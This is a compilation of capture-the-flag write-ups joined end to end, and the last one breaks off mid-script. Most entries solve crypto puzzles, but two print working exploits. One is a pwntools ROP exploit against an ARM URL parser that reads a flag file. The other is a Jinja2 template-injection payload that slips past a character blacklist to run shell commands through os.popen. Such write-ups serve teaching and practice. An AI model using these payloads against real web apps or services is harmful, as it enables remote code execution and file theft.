FLAG = b'OFPPT-CTF{...REDACTED...}'
class HoneyComb: def __init__(self, key): self.vals = [i for i in key]
def turn(self): self.vals = [self.vals[-1]] + self.vals[:-1]
def encrypt(self, msg): keystream = [] while len(keystream) < len(msg): keystream += self.vals self.turn() return bytes([msg[i] ^ keystream[i] for i in range(len(msg))]).hex()
hc = HoneyComb(os.urandom(6))
print(hc.encrypt(FLAG))```The key is only 6 bytes long, to match the length of the plaintext it is reused moving the last position to the first in each iteration.
Since we know the start of the plaintext (OFPPT-) finding the key isn't hard. ```pythondef find_first_six(enc): flag_vals = [] for i in range (0, 12, 2): temp = int(enc[i:i+2],16) for j in range (255): if i == 0 and j ^ temp == 79: flag_vals.append(j) break if i == 2 and j ^ temp == 70: flag_vals.append(j) break if i == 4 and j ^ temp == 80: flag_vals.append(j) break if i == 6 and j ^ temp == 80: flag_vals.append(j) break if i == 8 and j ^ temp == 84: flag_vals.append(j) break if i == 10 and j ^ temp == 45: flag_vals.append(j) break return (flag_vals)```Know we do the same process as the encryption to decrypt the cipher.```pythondef decrypt(enc, vals): keystream = [] while len(keystream) < len(enc): keystream += vals vals = turn(vals) return "".join(chr(enc[i] ^ keystream[i]) for i in range(len(enc)))```
Full code:```pythondef find_first_six(enc): flag_vals = [] for i in range (0, 12, 2): temp = int(enc[i:i+2],16) for j in range (255): if i == 0 and j ^ temp == 79: flag_vals.append(j) break if i == 2 and j ^ temp == 70: flag_vals.append(j) break if i == 4 and j ^ temp == 80: flag_vals.append(j) break if i == 6 and j ^ temp == 80: flag_vals.append(j) break if i == 8 and j ^ temp == 84: flag_vals.append(j) break if i == 10 and j ^ temp == 45: flag_vals.append(j) break return (flag_vals) def to_decimal(enc): dec = [] for i in range(0,len(enc),2): temp = int(enc[i:i+2],16) dec.append(temp) return dec
def turn(vals): vals = [vals[-1]] + vals[:-1] return vals
def decrypt(enc, vals): keystream = [] while len(keystream) < len(enc): keystream += vals vals = turn(vals) return "".join(chr(enc[i] ^ keystream[i]) for i in range(len(enc)))
enc = "48ac3fe745bed053ac14ef2163cc70db58dfe862fe33860330dc22ea589c9f03d922e13365db038626eaee"vals = find_first_six(enc)dec = to_decimal(enc)print(decrypt(dec, vals))``````shellβ― python solve.pyOFPPT-CTF{X0r_w17h_sm4ll_k3y_vuln3r4b1l17y}``` |
# Simbox
was a pwn challenge from LINE CTF 2022
we were given two binaries,
an arm simulator , version information indicates GNU simulator (SIM) 11.2,

this tool is included in GDB-11.2 distribution, it is an arm processor emulator, that run elf arm binaries, and emulates some basic syscalls..
A patch has been applied to it, and is given too.. A first look at it indicates that this patch forbid to open files that the name contains "flag" or "simbox" strings..

The simulator emulates only open, read, write, lseek, syscalls.. not much more.. (some syscalls for memory info, useless for us...)
We were given too, an arm elf binary, that is a sort of url parser, that parse a given url, and print various parameters..
When we connect to the CTF server we land directly in the arm binary (ran via simulator), so we will have to exploit first the arm binary..
then we will see how to read flag, and "escape" from the simulator restrictions... (more on this later...)
**so let's reverse the arm binary...**

the main function is very simple as you can see, it allocates 0x800 bytes , then read our url in this buffer.. then pass it to the function parse_url(buff)
where all the magic happens!
**So...let's reverse parse_url(buff)**

well, the function first verify that the url start with "http://",
that an hostname follows ended with '/',
then it looks for parameters, and specially for a paramater called "list=".
then it enters a loop parsing the "list" parameters one by one, and store their value converted to int via atoi in a buffer on stack,
one value after the others... until the end of the url.
**So where is the vulnerability you will ask?**
humm.. do you see a limit to the number of parameters?
no.. it will continue adding each "list=" values to stack.. until our url finish..
so we can overwrite return values, and write a rop to the stack basically with the "list=" parameters values...
There is a little difficulty, that will be an helper for us...
When we reach position 73, (the 73th "list=" value), we will overwrite the "pos" counter,
so we must take care of the value we will write to it..
it will help us , to "jump" directly to the return pointer value on stack, at position 79.
then after we will write our rop..
I did a simple open , read, write ROP, that opens a file and dumps it.. as they are only basic syscalls emulated anyway...
well.. I first opened /proc/self/cmdline , that gives me the commande line , and the remote programe directory "/home/simbox"
so I just tried opening "/home/simbox/flag", and guess what? that just give me flags...
**as you can see:**

well , the final explanation was that the patch applied to the simulator was ineffective :)
pretty strange idea from the challenge creator indeed...
Anyway, here is the exploit code:
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="arm", os="linux")
exe = ELF('simbox')
host, port = "35.243.120.147", "10007"
p = remote(host,port)
system = 0xa0a8puts = 0x08dccopen = 0x9c74read = 0xa1a8url_string = 0x245a8 # point to url string in memory
gadget0 = 0x000135f0 # pop {r0, pc}gadget1 = 0x00012e38 # mov r1, r5 ; pop {r4, r5, pc}gadget2 = 0x00012908 # pop {r1, r2, lr}; mul r3, r2, r0; sub r1, r1, r3; mov pc, lr;gadget3 = 0x00008c80 # pop {r4, pc};
payload = 'http://www.pipotin.com/?'for i in range(73): payload += 'list=123&'payload += 'list=79&' # make pos point to return address
# we now construct our toppayload += 'list='+str(gadget2)+'&'payload += 'list='+str(gadget2)+'&'payload += 'list='+str(0)+'&' # r1payload += 'list='+str(0)+'&' # r2payload += 'list='+str(gadget3)+'&' # set lr to gadget3 for functions returnpayload += 'list='+str(0)+'&' # r4# set r1 = 0payload += 'list='+str(gadget1)+'&'payload += 'list='+str(0)+'&' # r4payload += 'list='+str(0)+'&' # r5payload += 'list='+str(gadget1)+'&'payload += 'list='+str(0)+'&' # r4payload += 'list='+str(0)+'&' # r5# set r0 = string and openpayload += 'list='+str(gadget0)+'&'payload += 'list='+str(url_string+1024)+'&'payload += 'list='+str(open)+'&'payload += 'list='+str(0)+'&' # r4
# set r2 = 1024payload += 'list='+str(gadget2)+'&'payload += 'list='+str(0)+'&' # r1payload += 'list='+str(1024)+'&' # r2payload += 'list='+str(gadget3)+'&' # set lr to gadget3 for functions returnpayload += 'list='+str(0)+'&' # r4# set r1 = url_string+1100payload += 'list='+str(gadget1)+'&'payload += 'list='+str(0)+'&' # r4payload += 'list='+str(url_string+1100)+'&' # r5payload += 'list='+str(gadget1)+'&'payload += 'list='+str(0)+'&' # r4payload += 'list='+str(url_string+1100)+'&' # r5# readpayload += 'list='+str(read)+'&' payload += 'list='+str(0)+'&' # r4#payload += 'list='+str(gadget0)+'&'payload += 'list='+str(url_string+1100)+'&'payload += 'list='+str(puts)+'\x00'
payload = payload.ljust(1024,'A')print('len of payload = '+str(len(payload)))print('\npayload\n--------------------------\n'+payload)
payload += '/home/simbox/flag\x00'
p.sendlineafter('url> \n', payload)p.interactive()```
*nobodyisnobody still pwning things..* |
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/27/092652)
Two files containing the 32 bytes of data and one python file for encoding below were given.The Python script is on my blog.

We know the value of S[0] is "LINECTF{", so we can calculate a simultaneous equation for every 8 bytes in hexadecimal.This text file is a summary of what went on in my head.
```share1[ 0: 8] 25243e2a31202715share1[ 8:16] 0000000000000000share1[16:24] 2b0719073a0d2c2fshare1[24:32] 0214251c09404813
share4[ 0: 8] 1d08081b2d1d1231share4[ 8:16] 0331361e3319061cshare4[16:24] 0607001b3a0f311fshare4[24:32] 3933342926756706
xor(r[0], s[0], r[0], s[3]) = xor(s[0], s[3]) = 382c36311c3d3524xor(r[1], s[2], r[1] ) = !!!!!xor(r[2], s[1], r[2], s[3]) = xor(s[1], s[3]) = 2d00191c00021d30xor(r[3], s[0], r[3], s[2]) = xor(s[0], s[2]) = 3b2711352f352f15
r[0] = xor(r[0], s[3]) ^ s[3]r[1] = xor(r[1], s[2]) ^ s[2]r[2] = xor(r[2], s[1]) ^ s[1]r[3] = xor(r[3], s[0]) ^ s[0]
s[0] = 4c494e454354467b = LINECTF{s[1] = 596561685f6b6e6fs[2] = 776e5f706c61696es[3] = 746578745f69735f
r[0] = 696d706f7274616er[1] = 745f696e5f786f72r[2] = 5f62617365645f70r[3] = 757a7a6c6521217d
```
Join R to S, and Convert to a string from hexadecimal. Finally, we can get the FLAG.

You can solve this using z3-solver of course. |
We are given the following code:```pythonfrom secret import flagval = []flag_length = len(flag)print(flag_length)
def factorial(n): f = 1 for i in range(2, n+1): f *= i return f
def series(A, X, n): nFact = factorial(n) for i in range(0, n + 1): niFact = factorial(n - i) iFact = factorial(i) aPow = pow(A, n - i) xPow = pow(X, i) val.append(int((nFact * aPow * xPow) / (niFact * iFact)))
A = 1; X = 1; n = 30series(A, X, n)ct = []for i in range(len(flag)): ct.append(chr(ord(flag[i])+val[i]%26))print(''.join(ct))```Analyzing the code we find that the same numbers are always generated, so we can easily get the original message by changing this line.```pythonct.append(chr(ord(flag[i])+val[i]%26))```to this.
```pythonct.append(chr(ord(flag[i])-val[i]%26))```(Full code in case you need it)```pythonflag = "27F;VPbAs>clu}={9ln=_o1{0n5tp~"val = []flag_length = len(flag)print(flag_length)
def factorial(n): f = 1 for i in range(2, n+1): f *= i return f
def series(A, X, n): nFact = factorial(n) for i in range(0, n + 1): niFact = factorial(n - i) iFact = factorial(i) aPow = pow(A, n - i) xPow = pow(X, i) val.append(int((nFact * aPow * xPow) / (niFact * iFact)))
A = 1; X = 1; n = 30series(A, X, n)pt = []for i in range(len(flag)): pt.append(chr((ord(flag[i])-val[i]%26)&255))print("".join(pt))``````shellβ― python solve.py301337UPUAf>Vlh{(o$ja=Ro${#n4p]z```(Apparently this flag was bugged, hence the format). |
See here : [https://berryberry.hatenablog.jp/](https://berryberry.hatenablog.jp/entry/2022/03/27/034315)
Index.php was given.

I thought that I needed to calculate for a number would result in the same hash value (=Collision). However, I found there are two equal signs and three equal signs in the php comparison operator. In the case of two equal signs, a hash value begin with "0e" is computed as a power of zero. So, it will be true if the hash value of input number begin with "0e".Now, You can find the correct input with the program below.
```import stringimport hashlib
strings = string.ascii_uppercase + string.ascii_lowercase + string.digits
def check(h): if (h[:2] != "0e"): return 0 for i in range(2, len(h)): if (h[i] not in string.digits): return 0 return 1
def make_magic(moji, cnt): h = hashlib.sha1(moji.encode()).hexdigest() if (check(h)): print(moji) if (cnt == 9): return for j in strings: moji += j make_magic(moji, cnt+1) moji = moji[:-1]
moji = ""for i in strings: moji += i make_magic(moji, 0) moji = ""```
I input a string "AAAAABzIOf" and got the FLAG.
 |
It is a DNS server that serves an RSA publickey TXT record, and responds to command output when queried with an RSA-OAEP encrypted command.
Since I couldn't find any tool that allowed me to send malformed DNS messages, glued something together that send the command and read back the output. |
## Chocolate##### 400### Challange
My friend is only willing to eat chocolate. Any other food he rejects.
#### Linkhttp://143.198.224.219:11111/
---### Description
This Challange is Web Challange.
The hint is the Challage Name.
First the Connect to the site, You can see Just Only this.
```My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum.```

But when you connected into the website, the cookie automatically saved into your local, after reconnect to the website with burpsuite, You can find the cookie value.

You can see the ``` Cookie: flavour = c3RyYXdiZXJyeQ%3D%3D```It's encoded with base64, so the burpsuite can decode base64, after that you can change the cookie on burp suite. So change Cookie value to ``` flavour=(base64encoded chocolate)```

then you can get the flag.

## FlagThe flag is ```OFPPT-CTF{C00k13s_n33d_ch0c0l4t3_fl4v0r}``` |
The key was changing `/flag?count=1` to the correct `count value`
Full Spanish writeup [here](https://lachokds.github.io/2022/03/28/wolvsec-ctf-walkthrough.html#challenge-warmup-burp) |
## app.pyapp.py had source code for three different routes on the website. One of them was vulnerable to Server Side Template Injection (SSTI), given below:```@app.route("""/ ββ βββββββββββ ββ ββ βββ ββ ββ βββββββ βββββββββ βββββββββ βββββββββ βββββββββββ ββ βββββββββ βββ βββββββββββββββ βββ βββ βββ βββ βββ βββββββββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ ββββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ ββ βββ βββ βββ βββ βββ βββ βββ βββ ββ ββββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββββββ βββββββββββ βββ βββ ββββββββββ βββ βββββββ ββββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ ββββββββ ββββββββββ ββββββββββββ βββββββββββ βββ ββββββββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ ββ ββββββββββββ βββ βββ βββ βββ βββ βββ ββ βββ βββ βββ βββ βββ βββ βββ βββ ββββ β βββ βββ βββ βββ βββ βββ βββ βββ βββ βββ ββββ β βββ βββ ββ ββ βββ ββ ββββββββ βββββββββ βββββββββ ββ ββ ββββββββββ βββ βββ βββ ββ βββββββββββ βββββββββ ββββββββββ β βββ βββ β""", methods=['GET'])def WH4TSG01NG0N(): BRRRRR_RUNNING = request.args.get("input", None) if BRRRRR_RUNNING is None: return "BRRRRR_RUNNING" else: for _ in BRRRRR_RUNNING: if any(x in BRRRRR_RUNNING for x in {'.', '_', '|join', '[', ']', 'mro', 'base'}): return "caught" else: return render_template_string("Your input: " + BRRRRR_RUNNING)```
Here `render_template_string("Your input: " + BRRRRR_RUNNING)` is rendering the user input into the template which causes the vulnerability.
## Verifying the bug1. To verify this I tried a simple SSTI payload to see if it gets executed: `{{ 3*3 }}`2. Bingo! The output I got was: `Your input: 9`
## The exploit1. Since most of the important characters for SSTI was blacklisted this one was a bit tricky.2. After a bit of researching and playing around I figured out the payload without any blacklisted character3. Payload:`?input={{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27ls%27)|attr(%27read%27)()}}`4. The above payload executes `ls` command and we get the output:`app.py bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys templates tmp usr var`5. Now we just need to read the `flag.txt` file.6. But we can't use `.` in `flag.txt`, So what can we do?7. We can simply use Linux wildcards. `*` or `?`8. So the payload becomes:`?input={{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27cat%20flag?txt%27)|attr(%27read%27)()}}`9. Boom! it got executed and the flag is: `flag{1ea5n_h0w_vu1n_h1ppen_and_wh1t_l1ne_m1ke_vu1n!!!}`10. And the full url is:https://1truth2lies.ctf.intigriti.io/%0A%20%E2%96%84%E2%96%88%20%20%20%20%E2%96%84%E2%96%84%E2%96%84%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%20%20%20%20%E2%96%84%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%20%E2%96%84%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%84%20%20%20%E2%96%84%E2%96%88%20%20%20%20%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%0A%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%84%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%84%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%0A%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%80%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%80%20%20%0A%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%84%E2%96%88%E2%96%88%E2%96%80%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%84%20%20%20%20%20%0A%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%20%20%20%20%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%80%E2%96%80%20%20%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%84%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%80%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%80%E2%96%80%E2%96%80%20%20%20%20%20%0A%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%84%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%84%20%20%0A%E2%96%88%E2%96%88%E2%96%88%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%20%20%20%E2%96%84%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%E2%96%88%E2%96%88%E2%96%88%E2%96%8C%20%20%20%20%E2%96%84%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%0A%E2%96%88%E2%96%80%20%20%20%20%E2%96%80%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%80%20%20%20%20%20%20%20%20%E2%96%80%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%88%E2%96%88%20%20%E2%96%80%E2%96%88%20%20%20%E2%96%88%E2%96%80%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%80%20%20%E2%96%84%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%80%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%84%E2%96%84%E2%96%88%E2%96%88%20%20%20%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E2%96%80%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%E2%96%88%E2%96%88%E2%96%88%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E2%96%80?input={{request|attr(%27application%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27os%27)|attr(%27popen%27)(%27cat%20flag?txt%27)|attr(%27read%27)()}} |
# RSA Small ##### Something is too small in that RSA encryption.##### Can you decipher the flag?
We have the following output:```e = 5n = 848679985797447869399955772819127213061137842373015804903762494359645720791040778076619433302674004347484565791581642609473387655735195295365279289016435642019259985990645911733119485800890708230053795033609181332000447274578889940499411197562111094428807949016438566888871179849827432797743465183571439731186111884712225698892368979349739206606593045379047207591044512475303068095583610049728424692564119172882065602439029603348602584135304945650000715210121217415159672068653299460404758884228046013042562965080049653891004083434176688089444298777532346069082024899343877834584938045202455200048186554846026727297621240451214798525048971378675972260019196481887830771437670138972634154814409503426355185620129053316128528423087492174694811793403655971666568345076618727967344075031994286240815344178567441153634038071947827327700917234091487142266390015552941979817722214984014258022713900663398969526301690250025575483527895147735655625252139228855555368584244676794350771701435632552963431752523714399310405951557242368697834717565197145134464156785931396734151509020243119926355165138086318689699700337185418254990682421255569532070095700384447469238825430018975257552596722400439696783949509883005145800952113577752688735953731c = 1290693983568973212241774157251029501916031181300587856502104425060400825645233474412159795041070912725774295993070287999705559436744356587070331473154201672194895706660927805733716209570278752107616017153539788802992400477319421895132265308353914269512736230439032250634773967478099458568504291012797867556104874614937296951446237815056114697267646832399584346738180717835541698802244926455470361437886629916832531228754210088056426885624615069977138458285217304667225248399707130072871824121756788726012791836940206537928157363946715031682108412776344952206447795443691414126211540976228231813721934019177491660030885807301520689365508821556490894213716812362105926718336768325044896559692102465835491500325292511210492266786815154645636848969136539759596476855914079053513055397814403086420614976446006354782596760766518849838306525291408721775119110961750623361977018207968```And the following code:```python#! /usr/bin/env python3from Crypto.PublicKey import RSAfrom Crypto.Util.number import bytes_to_long, long_to_bytes
key = RSA.generate(4096, e = 5)msg = b"Congrats! Your flag is: OFPPT-CTF{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}."m = bytes_to_long(msg)print("e = ".format(key.e))print("n = ".format(key.n))c = pow(m, key.e, key.n)print("c = ".format(c))```At this point i didn't know how to break it because i'd never dealt with a challenge like this, luckily found this [git page](https://gsdt.github.io/blog/2018/07/20/stereotyped-message-attack/) that explains it in an easy and understandable way.
So we have the following equation.```(m+x)^e mod n = cwhere x is the part we need to find.```The attack we need to implement is a **Coppersmith attack.**
We can implement this attack because: * We know a part of the plaintext.```Congrats! Your flag is: OFPPT-CTF{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}.```* **e** is small (e=5).* x < N^(1/e).
We can solve it with the code provided by the page mentioned above.
(Note: You have to replace the **x's** of the plaintext with **\x00**)
```pythonimport timeimport sysimport binasciifrom Crypto.Util.number import bytes_to_long, long_to_bytes# def long_to_bytes(data):# data = str(hex(long(data)))[2:-1]# return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)])# # def bytes_to_long(data):# return int(binascii.hexlify(bytes(data, 'utf-8')), 16)
def main(): e,N = (5, 848679985797447869399955772819127213061137842373015804903762494359645720791040778076619433302674004347484565791581642609473387655735195295365279289016435642019259985990645911733119485800890708230053795033609181332000447274578889940499411197562111094428807949016438566888871179849827432797743465183571439731186111884712225698892368979349739206606593045379047207591044512475303068095583610049728424692564119172882065602439029603348602584135304945650000715210121217415159672068653299460404758884228046013042562965080049653891004083434176688089444298777532346069082024899343877834584938045202455200048186554846026727297621240451214798525048971378675972260019196481887830771437670138972634154814409503426355185620129053316128528423087492174694811793403655971666568345076618727967344075031994286240815344178567441153634038071947827327700917234091487142266390015552941979817722214984014258022713900663398969526301690250025575483527895147735655625252139228855555368584244676794350771701435632552963431752523714399310405951557242368697834717565197145134464156785931396734151509020243119926355165138086318689699700337185418254990682421255569532070095700384447469238825430018975257552596722400439696783949509883005145800952113577752688735953731)
